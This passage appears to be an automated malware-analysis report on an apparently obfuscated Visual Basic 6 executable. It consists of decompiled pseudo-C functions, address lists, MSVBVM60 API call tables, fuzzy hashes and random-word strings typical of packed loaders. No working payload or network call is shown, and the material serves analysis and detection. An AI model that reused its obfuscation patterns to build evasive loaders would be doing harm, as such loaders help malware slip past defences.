                					_push(0);
                					_push(_v48);
                					L00401754();
                					L0040177E();
                					_push(1);
                					_push(_v48);
                					L00401754();
                					L0040177E();
                					_push(2);
                					_push(_v48);
                					L00401754();
                					L0040177E();
                					_push(3);
                					_push(_v48);
                					L00401754();
                					L0040177E();
                					_push(4);
                					_push(_v48);
                					L00401754();
                					L0040177E();
                					_push(5);
                					_push(_v48);
                					L00401754();
                					L0040177E();
                					_push(6);
                					_push(_v48);
                					L00401754();
                					L0040177E();
                					_push(7);
                					_push(_v48);
                					L00401754();
                					L0040177E();
                					_push(_t90);
                					_push(_v48);
                					L00401754();
                					L0040177E();
                					_push(9);
                					_push(_v48);
                					L00401754();
                					L0040177E();
                					_push(0xa);
                					_push(_v48);
                					L00401754();
                					L0040177E();
                					_push(0xb);
                					_push(_v48);
                					L00401754();
                					L0040177E();
                					_push(0xc);
                					_push(_v48);
                					L00401754();
                					L0040177E();
                					_push(0xd);
                					_push(_v48);
                					L00401754();
                					L0040177E();
                					_push(0xe);
                					_push(_v48);
                					L00401754();
                					L0040177E();
                					_push(0xf);
                					_push(_v48);
                					L00401754();
                					L0040177E();
                					_push(0x10);
                					_push(_v48);
                					L00401754();
                					L0040177E();
                					_push(0x11);
                					_push(_v48);
                					L00401754();
                					L0040177E();
                					_push(0x12);
                					_push(_v48);
                					L00401754();
                					L0040177E();
                					_push(0x13);
                					_push(_v48);
                					L00401754();
                					_t128 = _t88;
                					asm("enter 0x54ba, 0xd0");
                					_t90 = _t90 + 1;
                					_t73 = _t88 + _t128;
                					asm("out 0xfb, al");
                					goto [far dword [edx+0x14];
                				}
                				_push(0x43d914);
                				L00401748();
                				if(_t73 != 2) {
                					if( *0x445380 == 0) {
                						_push(0x445380);
                						_push(0x43b86c);
                						L00401838();
                					}
                					_t156 =  *0x445380; // 0x4be8cc
                					_t76 =  *((intOrPtr*)( *_t156 + 0x14))(_t156,  &_v64);
                					asm("fclex");
                					if(_t76 < 0) {
                						_push(0x14);
                						_push(0x43b85c);
                						_push(_t156);
                						_push(_t76);
                						L00401832();
                					}
                					_t77 = _v64;
                					_t157 = _t77;
                					_t78 =  *((intOrPtr*)( *_t77 + 0xc0))(_t77,  &_v100);
                					asm("fclex");
                					if(_t78 < 0) {
                						_push(0xc0);
                						_push(0x43b87c);
                						_push(_t157);
                						_push(_t78);
                						L00401832();
                					}
                					L0040182C();
                					if( *0x445380 == 0) {
                						_push(0x445380);
                						_push(0x43b86c);
                						L00401838();
                					}
                					_t158 =  *0x445380; // 0x4be8cc
                					_t80 =  *((intOrPtr*)( *_t158 + 0x4c))(_t158,  &_v64);
                					asm("fclex");
                					if(_t80 < 0) {
                						_push(0x4c);
                						_push(0x43b85c);
                						_push(_t158);
                						_push(_t80);
                						L00401832();
                					}
                					_t81 = _v64;
                					_t159 = _t81;
                					_t82 =  *((intOrPtr*)( *_t81 + 0x28))(_t81);
                					asm("fclex");
                					if(_t82 < 0) {
                						_push(0x28);
                						_push(0x43d918);
                						_push(_t159);
                						_push(_t82);
                						L00401832();
                					}
                					L0040182C();
                					_push(0);
                					L00401814();
                					_v88 = L"Hawfinch3";
                					_v96 = _t90;
                					L00401760();
                					_push(2);
                					_push( &_v80);
                					L00401742();
                					st0 = _t180;
                					L00401802();
                				}
                				_v40 =  *0x4015d0;
                				asm("wait");
                				_push(0x443973);
                				L004017E4();
                				_t74 =  &_v48;
                				_push(_t74);
                				_push(0);
                				L0040176C();
                				return _t74;
                			}










































                0x00442e77
                0x00442e7a
                0x00442e89
                0x00442e96
                0x00442e99
                0x00442ea2
                0x00442ea5
                0x00442ea8
                0x00442eae
                0x00442eb1
                0x00442eb4
                0x00442eb7
                0x00442eba
                0x00442ebd
                0x00442ec0
                0x00442ec3
                0x00442ec6
                0x00442ec9
                0x00442ed2
                0x00442ed3
                0x00442edc
                0x00442ee1
                0x00442ee4
                0x00442ee5
                0x00442ef9
                0x00442f01
                0x00442f07
                0x00442f0d
                0x00442f0f
                0x00442f14
                0x00442f19
                0x00442f19
                0x00442f1e
                0x00442f2b
                0x00442f2e
                0x00442f32
                0x00442f34
                0x00442f36
                0x00442f3b
                0x00442f3c
                0x00442f3d
                0x00442f3d
                0x00442f42
                0x00442f45
                0x00442f4e
                0x00442f54
                0x00442f58
                0x00442f5a
                0x00442f5f
                0x00442f64
                0x00442f65
                0x00442f66
                0x00442f66
                0x00442f6e
                0x00442f73
                0x00442f74
                0x00442f79
                0x00442f7a
                0x00442f7c
                0x00442f7e
                0x00442f7f
                0x00442f82
                0x00442f83
                0x00442f85
                0x00442f8a
                0x00442f92
                0x00442f93
                0x00442f96
                0x00442fa2
                0x00442fa7
                0x00442fa9
                0x00442fac
                0x00442fb8
                0x00442fbd
                0x00442fbf
                0x00442fc2
                0x00442fce
                0x00442fd3
                0x00442fd5
                0x00442fd8
                0x00442fe4
                0x00442fe9
                0x00442feb
                0x00442fee
                0x00442ffa
                0x00442fff
                0x00443001
                0x00443004
                0x00443010
                0x00443015
                0x00443017
                0x0044301a
                0x00443026
                0x0044302b
                0x0044302d
                0x00443030
                0x0044303c
                0x00443041
                0x00443042
                0x00443045
                0x00443051
                0x00443056
                0x00443058
                0x0044305b
                0x00443067
                0x0044306c
                0x0044306e
                0x00443071
                0x0044307d
                0x00443082
                0x00443084
                0x00443087
                0x00443093
                0x00443098
                0x0044309a
                0x0044309d
                0x004430a9
                0x004430ae
                0x004430b0
                0x004430b3
                0x004430bf
                0x004430c4
                0x004430c6
                0x004430c9
                0x004430d5
                0x004430da
                0x004430dc
                0x004430df
                0x004430eb
                0x004430f0
                0x004430f2
                0x004430f5
                0x00443101
                0x00443106
                0x00443108
                0x0044310b
                0x00443117
                0x0044311c
                0x0044311e
                0x00443121
                0x0044312d
                0x00443132
                0x00443134
                0x00443137
                0x0044313c
                0x0044313d
                0x00443141
                0x00443142
                0x00443144
                0x00443147
                0x00443147
                0x0044382c
                0x00443831
                0x00443839
                0x00443845
                0x00443847
                0x0044384c
                0x00443851
                0x00443851
                0x00443856
                0x00443863
                0x00443866
                0x0044386a
                0x0044386c
                0x0044386e
                0x00443873
                0x00443874
                0x00443875
                0x00443875
                0x0044387a
                0x0044387d
                0x00443886
                0x0044388c
                0x00443890
                0x00443892
                0x00443897
                0x0044389c
                0x0044389d
                0x0044389e
                0x0044389e
                0x004438a6
                0x004438b1
                0x004438b3
                0x004438b8
                0x004438bd
                0x004438bd
                0x004438c2
                0x004438cf
                0x004438d2
                0x004438d6
                0x004438d8
                0x004438da
                0x004438df
                0x004438e0
                0x004438e1
                0x004438e1
                0x004438e6
                0x004438e9
                0x004438ee
                0x004438f1
                0x004438f5
                0x004438f7
                0x004438f9
                0x004438fe
                0x004438ff
                0x00443900
                0x00443900
                0x00443908
                0x0044390d
                0x0044390e
                0x00443913
                0x0044391a
                0x00443923
                0x00443928
                0x0044392d
                0x0044392e
                0x00443933
                0x00443938
                0x00443938
                0x00443943
                0x00443946
                0x00443947
                0x00443962
                0x00443967
                0x0044396a
                0x0044396b
                0x0044396d
                0x00443972

                APIs
                • __vbaVarDup.MSVBVM60 ref: 00442EDC
                • #563.MSVBVM60(?), ref: 00442EE5
                • __vbaFreeVar.MSVBVM60(?), ref: 00442EF9
                • __vbaNew2.MSVBVM60(0043B86C,00445380,?), ref: 00442F19
                • __vbaHresultCheckObj.MSVBVM60(00000000,004BE8CC,0043B85C,00000014), ref: 00442F3D
                • __vbaHresultCheckObj.MSVBVM60(00000000,?,0043B87C,000000C0), ref: 00442F66
                • __vbaFreeObj.MSVBVM60(00000000,?,0043B87C,000000C0), ref: 00442F6E
                • __vbaOnError.MSVBVM60(00000000), ref: 00442F74
                • __vbaRedim.MSVBVM60(00000180,00000004,?,00000008,00000001,00000061,00000000,00000000), ref: 00442F8A
                • __vbaDerefAry1.MSVBVM60(?,00000000,?,?,?,00000000), ref: 00442F96
                • __vbaStrCopy.MSVBVM60(?,00000000,?,?,?,00000000), ref: 00442FA2
                • __vbaDerefAry1.MSVBVM60(?,00000001,?,00000000,?,?,?,00000000), ref: 00442FAC
                • __vbaStrCopy.MSVBVM60(?,00000001,?,00000000,?,?,?,00000000), ref: 00442FB8
                • __vbaDerefAry1.MSVBVM60(?,00000002,?,00000001,?,00000000,?,?,?,00000000), ref: 00442FC2
                • __vbaStrCopy.MSVBVM60(?,00000002,?,00000001,?,00000000,?,?,?,00000000), ref: 00442FCE
                • __vbaDerefAry1.MSVBVM60(?,00000003,?,00000002,?,00000001,?,00000000,?,?,?,00000000), ref: 00442FD8
                • __vbaStrCopy.MSVBVM60(?,00000003,?,00000002,?,00000001,?,00000000,?,?,?,00000000), ref: 00442FE4
                • __vbaDerefAry1.MSVBVM60(?,00000004,?,00000003,?,00000002,?,00000001,?,00000000,?,?,?,00000000), ref: 00442FEE
                • __vbaStrCopy.MSVBVM60(?,00000004,?,00000003,?,00000002,?,00000001,?,00000000,?,?,?,00000000), ref: 00442FFA
                • __vbaDerefAry1.MSVBVM60(?,00000005,?,00000004,?,00000003,?,00000002,?,00000001,?,00000000,?,?,?,00000000), ref: 00443004
                • __vbaStrCopy.MSVBVM60(?,00000005,?,00000004,?,00000003,?,00000002,?,00000001,?,00000000,?,?,?,00000000), ref: 00443010
                • __vbaDerefAry1.MSVBVM60(?,00000006,?,00000005,?,00000004,?,00000003,?,00000002,?,00000001,?,00000000), ref: 0044301A
                • __vbaStrCopy.MSVBVM60(?,00000006,?,00000005,?,00000004,?,00000003,?,00000002,?,00000001,?,00000000), ref: 00443026
                • __vbaDerefAry1.MSVBVM60(?,00000007,?,00000006,?,00000005,?,00000004,?,00000003,?,00000002,?,00000001,?,00000000), ref: 00443030
                • __vbaStrCopy.MSVBVM60(?,00000007,?,00000006,?,00000005,?,00000004,?,00000003,?,00000002,?,00000001,?,00000000), ref: 0044303C
                • __vbaDerefAry1.MSVBVM60(?,00000008,?,00000007,?,00000006,?,00000005,?,00000004,?,00000003,?,00000002,?,00000001), ref: 00443045
                • __vbaStrCopy.MSVBVM60(?,00000008,?,00000007,?,00000006,?,00000005,?,00000004,?,00000003,?,00000002,?,00000001), ref: 00443051
                • __vbaDerefAry1.MSVBVM60(?,00000009,?,00000008,?,00000007,?,00000006,?,00000005,?,00000004,?,00000003,?,00000002), ref: 0044305B
                • __vbaStrCopy.MSVBVM60(?,00000009,?,00000008,?,00000007,?,00000006,?,00000005,?,00000004,?,00000003,?,00000002), ref: 00443067
                • __vbaDerefAry1.MSVBVM60(?,0000000A,?,00000009,?,00000008,?,00000007,?,00000006,?,00000005,?,00000004,?,00000003), ref: 00443071
                • __vbaStrCopy.MSVBVM60(?,0000000A,?,00000009,?,00000008,?,00000007,?,00000006,?,00000005,?,00000004,?,00000003), ref: 0044307D
                • __vbaDerefAry1.MSVBVM60(?,0000000B,?,0000000A,?,00000009,?,00000008,?,00000007,?,00000006,?,00000005,?,00000004), ref: 00443087
                • __vbaStrCopy.MSVBVM60(?,0000000B,?,0000000A,?,00000009,?,00000008,?,00000007,?,00000006,?,00000005,?,00000004), ref: 00443093
                • __vbaDerefAry1.MSVBVM60(?,0000000C,?,0000000B,?,0000000A,?,00000009,?,00000008,?,00000007,?,00000006,?,00000005), ref: 0044309D
                • __vbaStrCopy.MSVBVM60(?,0000000C,?,0000000B,?,0000000A,?,00000009,?,00000008,?,00000007,?,00000006,?,00000005), ref: 004430A9
                • __vbaDerefAry1.MSVBVM60(?,0000000D,?,0000000C,?,0000000B,?,0000000A,?,00000009,?,00000008,?,00000007,?,00000006), ref: 004430B3
                • __vbaStrCopy.MSVBVM60(?,0000000D,?,0000000C,?,0000000B,?,0000000A,?,00000009,?,00000008,?,00000007,?,00000006), ref: 004430BF
                • __vbaDerefAry1.MSVBVM60(?,0000000E,?,0000000D,?,0000000C,?,0000000B,?,0000000A,?,00000009,?,00000008,?,00000007), ref: 004430C9
                • __vbaStrCopy.MSVBVM60(?,0000000E,?,0000000D,?,0000000C,?,0000000B,?,0000000A,?,00000009,?,00000008,?,00000007), ref: 004430D5
                • __vbaDerefAry1.MSVBVM60(?,0000000F,?,0000000E,?,0000000D,?,0000000C,?,0000000B,?,0000000A,?,00000009,?,00000008), ref: 004430DF
                • __vbaStrCopy.MSVBVM60(?,0000000F,?,0000000E,?,0000000D,?,0000000C,?,0000000B,?,0000000A,?,00000009,?,00000008), ref: 004430EB
                • __vbaDerefAry1.MSVBVM60(?,00000010,?,0000000F,?,0000000E,?,0000000D,?,0000000C,?,0000000B,?,0000000A,?,00000009), ref: 004430F5
                • __vbaStrCopy.MSVBVM60(?,00000010,?,0000000F,?,0000000E,?,0000000D,?,0000000C,?,0000000B,?,0000000A,?,00000009), ref: 00443101
                • __vbaDerefAry1.MSVBVM60(?,00000011,?,00000010,?,0000000F,?,0000000E,?,0000000D,?,0000000C,?,0000000B,?,0000000A), ref: 0044310B
                • __vbaStrCopy.MSVBVM60(?,00000011,?,00000010,?,0000000F,?,0000000E,?,0000000D,?,0000000C,?,0000000B,?,0000000A), ref: 00443117
                • __vbaDerefAry1.MSVBVM60(?,00000012,?,00000011,?,00000010,?,0000000F,?,0000000E,?,0000000D,?,0000000C,?,0000000B), ref: 00443121
                • __vbaStrCopy.MSVBVM60(?,00000012,?,00000011,?,00000010,?,0000000F,?,0000000E,?,0000000D,?,0000000C,?,0000000B), ref: 0044312D
                • __vbaDerefAry1.MSVBVM60(?,00000013,?,00000012,?,00000011,?,00000010,?,0000000F,?,0000000E,?,0000000D,?,0000000C), ref: 00443137
                • __vbaStrCopy.MSVBVM60(?,00000013,?,00000012,?,00000011,?,00000010,?,0000000F,?,0000000E,?,0000000D,?,0000000C), ref: 00443143
                • __vbaDerefAry1.MSVBVM60(?,00000014,?,00000013,?,00000012,?,00000011,?,00000010,?,0000000F,?,0000000E,?,0000000D), ref: 0044314D
                • __vbaStrCopy.MSVBVM60(?,00000014,?,00000013,?,00000012,?,00000011,?,00000010,?,0000000F,?,0000000E,?,0000000D), ref: 00443159
                • __vbaDerefAry1.MSVBVM60(?,00000015,?,00000014,?,00000013,?,00000012,?,00000011,?,00000010,?,0000000F,?,0000000E), ref: 00443163
                • __vbaStrCopy.MSVBVM60(?,00000015,?,00000014,?,00000013,?,00000012,?,00000011,?,00000010,?,0000000F,?,0000000E), ref: 0044316F
                • __vbaDerefAry1.MSVBVM60(?,00000016,?,00000015,?,00000014,?,00000013,?,00000012,?,00000011,?,00000010,?,0000000F), ref: 00443179
                • __vbaStrCopy.MSVBVM60(?,00000016,?,00000015,?,00000014,?,00000013,?,00000012,?,00000011,?,00000010,?,0000000F), ref: 00443185
                • __vbaDerefAry1.MSVBVM60(?,00000017,?,00000016,?,00000015,?,00000014,?,00000013,?,00000012,?,00000011,?,00000010), ref: 0044318F
                • __vbaStrCopy.MSVBVM60(?,00000017,?,00000016,?,00000015,?,00000014,?,00000013,?,00000012,?,00000011,?,00000010), ref: 0044319B
                • __vbaDerefAry1.MSVBVM60(?,00000018,?,00000017,?,00000016,?,00000015,?,00000014,?,00000013,?,00000012,?,00000011), ref: 004431A5
                • __vbaStrCopy.MSVBVM60(?,00000018,?,00000017,?,00000016,?,00000015,?,00000014,?,00000013,?,00000012,?,00000011), ref: 004431B1
                • __vbaDerefAry1.MSVBVM60(?,00000019,?,00000018,?,00000017,?,00000016,?,00000015,?,00000014,?,00000013,?,00000012), ref: 004431BB
                • __vbaStrCopy.MSVBVM60(?,00000019,?,00000018,?,00000017,?,00000016,?,00000015,?,00000014,?,00000013,?,00000012), ref: 004431C7
                • __vbaDerefAry1.MSVBVM60(?,0000001A,?,00000019,?,00000018,?,00000017,?,00000016,?,00000015,?,00000014,?,00000013), ref: 004431D1
                • __vbaStrCopy.MSVBVM60(?,0000001A,?,00000019,?,00000018,?,00000017,?,00000016,?,00000015,?,00000014,?,00000013), ref: 004431DD
                • __vbaDerefAry1.MSVBVM60(?,0000001B,?,0000001A,?,00000019,?,00000018,?,00000017,?,00000016,?,00000015,?,00000014), ref: 004431E7
                • __vbaStrCopy.MSVBVM60(?,0000001B,?,0000001A,?,00000019,?,00000018,?,00000017,?,00000016,?,00000015,?,00000014), ref: 004431F3
                • __vbaLenBstrB.MSVBVM60(0043D914,?,0065005C,00000061,0065005C,00000060,0065005C,0000005F,0065005C,0000005E,0065005C,0000005D,0065005C,0000005C,0065005C,0000005B), ref: 00443831
                • __vbaNew2.MSVBVM60(0043B86C,00445380,0043D914,?,0065005C,00000061,0065005C,00000060,0065005C,0000005F,0065005C,0000005E,0065005C,0000005D,0065005C,0000005C), ref: 00443851
                • __vbaHresultCheckObj.MSVBVM60(00000000,004BE8CC,0043B85C,00000014), ref: 00443875
                • __vbaHresultCheckObj.MSVBVM60(00000000,?,0043B87C,000000C0), ref: 0044389E
                • __vbaFreeObj.MSVBVM60(00000000,?,0043B87C,000000C0), ref: 004438A6
                • __vbaNew2.MSVBVM60(0043B86C,00445380), ref: 004438BD
                • __vbaHresultCheckObj.MSVBVM60(00000000,004BE8CC,0043B85C,0000004C), ref: 004438E1
                • __vbaHresultCheckObj.MSVBVM60(00000000,?,0043D918,00000028), ref: 00443900
                • __vbaFreeObj.MSVBVM60(00000000,?,0043D918,00000028), ref: 00443908
                • __vbaOnError.MSVBVM60(0000001D), ref: 0044390E
                • __vbaVarDup.MSVBVM60(0000001D), ref: 00443923
                • #600.MSVBVM60(?,00000002,0000001D), ref: 0044392E
                • __vbaFreeVar.MSVBVM60(?,00000002,0000001D), ref: 00443938
                • __vbaFreeStr.MSVBVM60(00443973,0043D914,?,0065005C,00000061,0065005C,00000060,0065005C,0000005F,0065005C,0000005E,0065005C,0000005D,0065005C,0000005C,0065005C), ref: 00443962
                • __vbaAryDestruct.MSVBVM60(00000000,0065005C,00443973,0043D914,?,0065005C,00000061,0065005C,00000060,0065005C,0000005F,0065005C,0000005E,0065005C,0000005D,0065005C), ref: 0044396D
                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.833081784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                • Associated: 00000000.00000002.833073044.0000000000400000.00000002.00020000.sdmp Download File
                • Associated: 00000000.00000002.833343438.0000000000445000.00000004.00020000.sdmp Download File
                • Associated: 00000000.00000002.833358245.0000000000446000.00000002.00020000.sdmp Download File
                Yara matches
                Similarity
                • API ID: __vba$Ary1CopyDeref$CheckFreeHresult$New2$Error$#563#600BstrDestructRedim
                • String ID: Attorneyship$BIRDLAND$Begejstringers6$Benedictus$CILICISM$Dismount5$EMULSIFIABILITY$Eudaemonist7$Granskendes3$Hawfinch3$Microspectrophotometer$Misstemninger1$Monoglyceride2$Nonvirtuous3$PADDLE$PERIOTIC$Paategnings$Sidsels2$TRANSFORMERINGS$Tilskrersakse1$fjortenere$frtidspensions$geometriform$hankns$indkrer$konstaterings$raakostjerns$solitrrings$urernes
                • API String ID: 1421436827-3692920642
                • Opcode ID: 09baf2dee70ca23cfcafdf73b26e394290368ebd0856154021462898c837f8fb
                • Instruction ID: dcc6a3ca390cf68669c21de95144f599e5bb02c4274e3d98bc0fd22c2beec6de
                • Opcode Fuzzy Hash: 09baf2dee70ca23cfcafdf73b26e394290368ebd0856154021462898c837f8fb
                • Instruction Fuzzy Hash: FCC11D35E401086BDF15BBB69886F9D76B6AF48709F10C03AF116B71F2DBB849059B28
                Uniqueness

                Uniqueness Score: -1.00%

                C-Code - Quality: 48%
                			E00443DBB(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, void* _a12) {
                				char _v8;
                				intOrPtr _v12;
                				intOrPtr _v16;
                				char _v28;
                				char _v32;
                				char _v36;
                				void* _v44;
                				intOrPtr _v52;
                				char _v60;
                				intOrPtr _v68;
                				char _v76;
                				char _v80;
                				intOrPtr _v1981225911;
                				intOrPtr _v2115444663;
                				char* _t58;
                				void* _t60;
                				intOrPtr* _t61;
                				void* _t62;
                				void* _t64;
                				intOrPtr* _t65;
                				void* _t66;
                				void* _t68;
                				intOrPtr* _t69;
                				void* _t70;
                				void* _t73;
                				intOrPtr* _t74;
                				void* _t75;
                				char _t77;
                				intOrPtr _t79;
                				void* _t108;
                				intOrPtr* _t110;
                				intOrPtr* _t112;
                				intOrPtr* _t113;
                				intOrPtr* _t114;
                				intOrPtr* _t115;
                				intOrPtr* _t116;
                				intOrPtr* _t117;
                				intOrPtr* _t118;
                				intOrPtr* _t119;
                				intOrPtr _t120;
                				void* _t124;
                				void* _t133;
                
                				 *[fs:0x0] = _t120;
                				_v16 = _t120 - 0x50;
                				_v12 = 0x401650;
                				_t77 = 0;
                				_v8 = 0;
                				_t110 = _a4;
                				 *((intOrPtr*)( *_t110 + 4))(_t110, __edi, __esi, __ebx,  *[fs:0x0], 0x401676);
                				_v28 = 0;
                				_v32 = 0;
                				_v36 = 0;
                				_v44 = 0;
                				_v60 = 0;
                				_v76 = 0;
                				_v80 = 0;
                				L0040177E();
                				_v68 = _t110;
                				_v76 = 9;
                				L00401760();
                				_t58 =  &_v60;
                				_push(_t58);
                				L0040170C();
                				L00401802();
                				if( ~(0 | _t58 != 0x0000ffff) == 0) {
                					_t108 = 0x43b85c;
                				} else {
                					_t124 =  *0x445380 - _t77; // 0x4be8cc
                					if(_t124 == 0) {
                						_push(0x445380);
                						_push(0x43b86c);
                						L00401838();
                					}
                					_t114 =  *0x445380; // 0x4be8cc
                					_t64 =  *((intOrPtr*)( *_t114 + 0x14))(_t114,  &_v44);
                					asm("fclex");
                					if(_t64 >= _t77) {
                						_t108 = 0x43b85c;
                					} else {
                						_t108 = 0x43b85c;
                						_push(0x14);
                						_push(0x43b85c);
                						_push(_t114);
                						_push(_t64);
                						L00401832();
                					}
                					_t65 = _v44;
                					_t79 = 1;
                					_t115 = _t65;
                					_t66 =  *((intOrPtr*)( *_t65 + 0x138))(_t65, L"Sprinkelvrkernes", _t79);
                					asm("fclex");
                					if(_t66 < 0) {
                						_push(0x138);
                						_push(0x43b87c);
                						_push(_t115);
                						_push(_t66);
                						L00401832();
                					}
                					L0040182C();
                					if( *0x445380 == 0) {
                						_push(0x445380);
                						_push(0x43b86c);
                						L00401838();
                					}
                					_t116 =  *0x445380; // 0x4be8cc
                					_t68 =  *((intOrPtr*)( *_t116 + 0x14))(_t116,  &_v44);
                					asm("fclex");
                					if(_t68 < 0) {
                						_push(0x14);
                						_push(_t108);
                						_push(_t116);
                						_push(_t68);
                						L00401832();
                					}
                					_t69 = _v44;
                					_t117 = _t69;
                					_t70 =  *((intOrPtr*)( *_t69 + 0x138))(_t69, L"Inferencing", _t79);
                					asm("fclex");
                					if(_t70 < 0) {
                						_push(0x138);
                						_push(0x43b87c);
                						_push(_t117);
                						_push(_t70);
                						L00401832();
                					}
                					L0040182C();
                					_push(0);
                					_push( &_v60);
                					_v52 = _t79;
                					_v60 = 2;
                					L0040171E();
                					L0040183E();
                					L00401802();
                					if( *0x445380 == 0) {
                						_push(0x445380);
                						_push(0x43b86c);
                						L00401838();
                					}
                					_t118 =  *0x445380; // 0x4be8cc
                					_t73 =  *((intOrPtr*)( *_t118 + 0x1c))(_t118,  &_v44);
                					asm("fclex");
                					if(_t73 < 0) {
                						_push(0x1c);
                						_push(_t108);
                						_push(_t118);
                						_push(_t73);
                						L00401832();
                					}
                					_t74 = _v44;
                					_t119 = _t74;
                					_t75 =  *((intOrPtr*)( *_t74 + 0x50))(_t74);
                					asm("fclex");
                					if(_t75 < 0) {
                						_push(0x50);
                						_push(0x43b8b0);
                						_push(_t119);
                						_push(_t75);
                						L00401832();
                					}
                					L0040182C();
                					_t77 = 0;
                				}
                				_t133 =  *0x445380 - _t77; // 0x4be8cc
                				if(_t133 == 0) {
                					_push(0x445380);
                					_push(0x43b86c);
                					L00401838();
                				}
                				_t112 =  *0x445380; // 0x4be8cc
                				_t60 =  *((intOrPtr*)( *_t112 + 0x14))(_t112,  &_v44);
                				asm("fclex");
                				if(_t60 < _t77) {
                					_push(0x14);
                					_push(_t108);
                					_push(_t112);
                					_push(_t60);
                					L00401832();
                				}
                				_t61 = _v44;
                				_t113 = _t61;
                				_t62 =  *((intOrPtr*)( *_t61 + 0x68))(_t61,  &_v80);
                				asm("fclex");
                				if(_t62 < _t77) {
                					_push(0x68);
                					_push(0x43b87c);
                					_push(_t113);
                					_push(_t62);
                					L00401832();
                				}
                				L0040182C();
                				L00401706();
                				L0040183E();
                				0xfc1bd23a(0x444064);
                				_v1981225911 = _v1981225911 - 1;
                				asm("xlatb");
                				asm("sti");
                				_v2115444663 = _v2115444663 - 1;
                				asm("xlatb");
                				asm("sti");
                			}













































                0x00443dcd
                0x00443dda
                0x00443ddd
                0x00443de4
                0x00443de6
                0x00443de9
                0x00443def
                0x00443df8
                0x00443dfb
                0x00443dfe
                0x00443e01
                0x00443e04
                0x00443e07
                0x00443e0a
                0x00443e0d
                0x00443e18
                0x00443e1b
                0x00443e22
                0x00443e27
                0x00443e2a
                0x00443e2b
                0x00443e41
                0x00443e49
                0x00443fbd
                0x00443e4f
                0x00443e4f
                0x00443e55
                0x00443e57
                0x00443e5c
                0x00443e61
                0x00443e61
                0x00443e66
                0x00443e73
                0x00443e78
                0x00443e7a
                0x00443e8d
                0x00443e7c
                0x00443e7c
                0x00443e81
                0x00443e83
                0x00443e84
                0x00443e85
                0x00443e86
                0x00443e86
                0x00443e92
                0x00443e97
                0x00443e98
                0x00443ea3
                0x00443eab
                0x00443ead
                0x00443eaf
                0x00443eb4
                0x00443eb9
                0x00443eba
                0x00443ebb
                0x00443ebb
                0x00443ec3
                0x00443ecf
                0x00443ed1
                0x00443ed6
                0x00443edb
                0x00443edb
                0x00443ee0
                0x00443eed
                0x00443ef2
                0x00443ef4
                0x00443ef6
                0x00443ef8
                0x00443ef9
                0x00443efa
                0x00443efb
                0x00443efb
                0x00443f00
                0x00443f0c
                0x00443f0e
                0x00443f16
                0x00443f18
                0x00443f1a
                0x00443f1f
                0x00443f24
                0x00443f25
                0x00443f26
                0x00443f26
                0x00443f2e
                0x00443f36
                0x00443f38
                0x00443f39
                0x00443f3c
                0x00443f43
                0x00443f4d
                0x00443f55
                0x00443f61
                0x00443f63
                0x00443f68
                0x00443f6d
                0x00443f6d
                0x00443f72
                0x00443f7f
                0x00443f84
                0x00443f86
                0x00443f88
                0x00443f8a
                0x00443f8b
                0x00443f8c
                0x00443f8d
                0x00443f8d
                0x00443f92
                0x00443f96
                0x00443f9a
                0x00443f9f
                0x00443fa1
                0x00443fa3
                0x00443fa5
                0x00443faa
                0x00443fab
                0x00443fac
                0x00443fac
                0x00443fb4
                0x00443fb9
                0x00443fb9
                0x00443fc2
                0x00443fc8
                0x00443fca
                0x00443fcf
                0x00443fd4
                0x00443fd4
                0x00443fd9
                0x00443fe6
                0x00443feb
                0x00443fed
                0x00443fef
                0x00443ff1
                0x00443ff2
                0x00443ff3
                0x00443ff4
                0x00443ff4
                0x00443ff9
                0x00444003
                0x00444005
                0x0044400a
                0x0044400c
                0x0044400e
                0x00444010
                0x00444015
                0x00444016
                0x00444017
                0x00444017
                0x0044401f
                0x00444024
                0x0044402e
                0x0044404d
                0x00444052
                0x00444058
                0x00444059
                0x0044405a
                0x00444060
                0x00444061

                APIs
                • __vbaStrCopy.MSVBVM60 ref: 00443E0D
                • __vbaVarDup.MSVBVM60 ref: 00443E22
                • #562.MSVBVM60(?), ref: 00443E2B
                • __vbaFreeVar.MSVBVM60(?), ref: 00443E41
                • __vbaNew2.MSVBVM60(0043B86C,00445380,?), ref: 00443E61
                • __vbaHresultCheckObj.MSVBVM60(00000000,004BE8CC,0043B85C,00000014), ref: 00443E86
                • __vbaHresultCheckObj.MSVBVM60(00000000,?,0043B87C,00000138), ref: 00443EBB
                • __vbaFreeObj.MSVBVM60(00000000,?,0043B87C,00000138), ref: 00443EC3
                • __vbaNew2.MSVBVM60(0043B86C,00445380), ref: 00443EDB
                • __vbaHresultCheckObj.MSVBVM60(00000000,004BE8CC,0043B85C,00000014), ref: 00443EFB
                • __vbaHresultCheckObj.MSVBVM60(00000000,?,0043B87C,00000138), ref: 00443F26
                • __vbaFreeObj.MSVBVM60(00000000,?,0043B87C,00000138), ref: 00443F2E
                • #705.MSVBVM60(?,00000000), ref: 00443F43
                • __vbaStrMove.MSVBVM60(?,00000000), ref: 00443F4D
                • __vbaFreeVar.MSVBVM60(?,00000000), ref: 00443F55
                • __vbaNew2.MSVBVM60(0043B86C,00445380,?,00000000), ref: 00443F6D
                • __vbaHresultCheckObj.MSVBVM60(00000000,004BE8CC,0043B85C,0000001C), ref: 00443F8D
                • __vbaHresultCheckObj.MSVBVM60(00000000,?,0043B8B0,00000050), ref: 00443FAC
                • __vbaFreeObj.MSVBVM60(00000000,?,0043B8B0,00000050), ref: 00443FB4
                • __vbaNew2.MSVBVM60(0043B86C,00445380,?), ref: 00443FD4
                • __vbaHresultCheckObj.MSVBVM60(00000000,004BE8CC,0043B85C,00000014), ref: 00443FF4
                • __vbaHresultCheckObj.MSVBVM60(00000000,?,0043B87C,00000068), ref: 00444017
                • __vbaFreeObj.MSVBVM60(00000000,?,0043B87C,00000068), ref: 0044401F
                • #611.MSVBVM60(00000000,?,0043B87C,00000068), ref: 00444024
                • __vbaStrMove.MSVBVM60(00000000,?,0043B87C,00000068), ref: 0044402E
                • __vbaFreeStr.MSVBVM60(00444064), ref: 0044404E
                • __vbaFreeStr.MSVBVM60(00444064), ref: 00444056
                • __vbaFreeStr.MSVBVM60(00444064), ref: 0044405E
                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.833081784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                • Associated: 00000000.00000002.833073044.0000000000400000.00000002.00020000.sdmp Download File
                • Associated: 00000000.00000002.833343438.0000000000445000.00000004.00020000.sdmp Download File
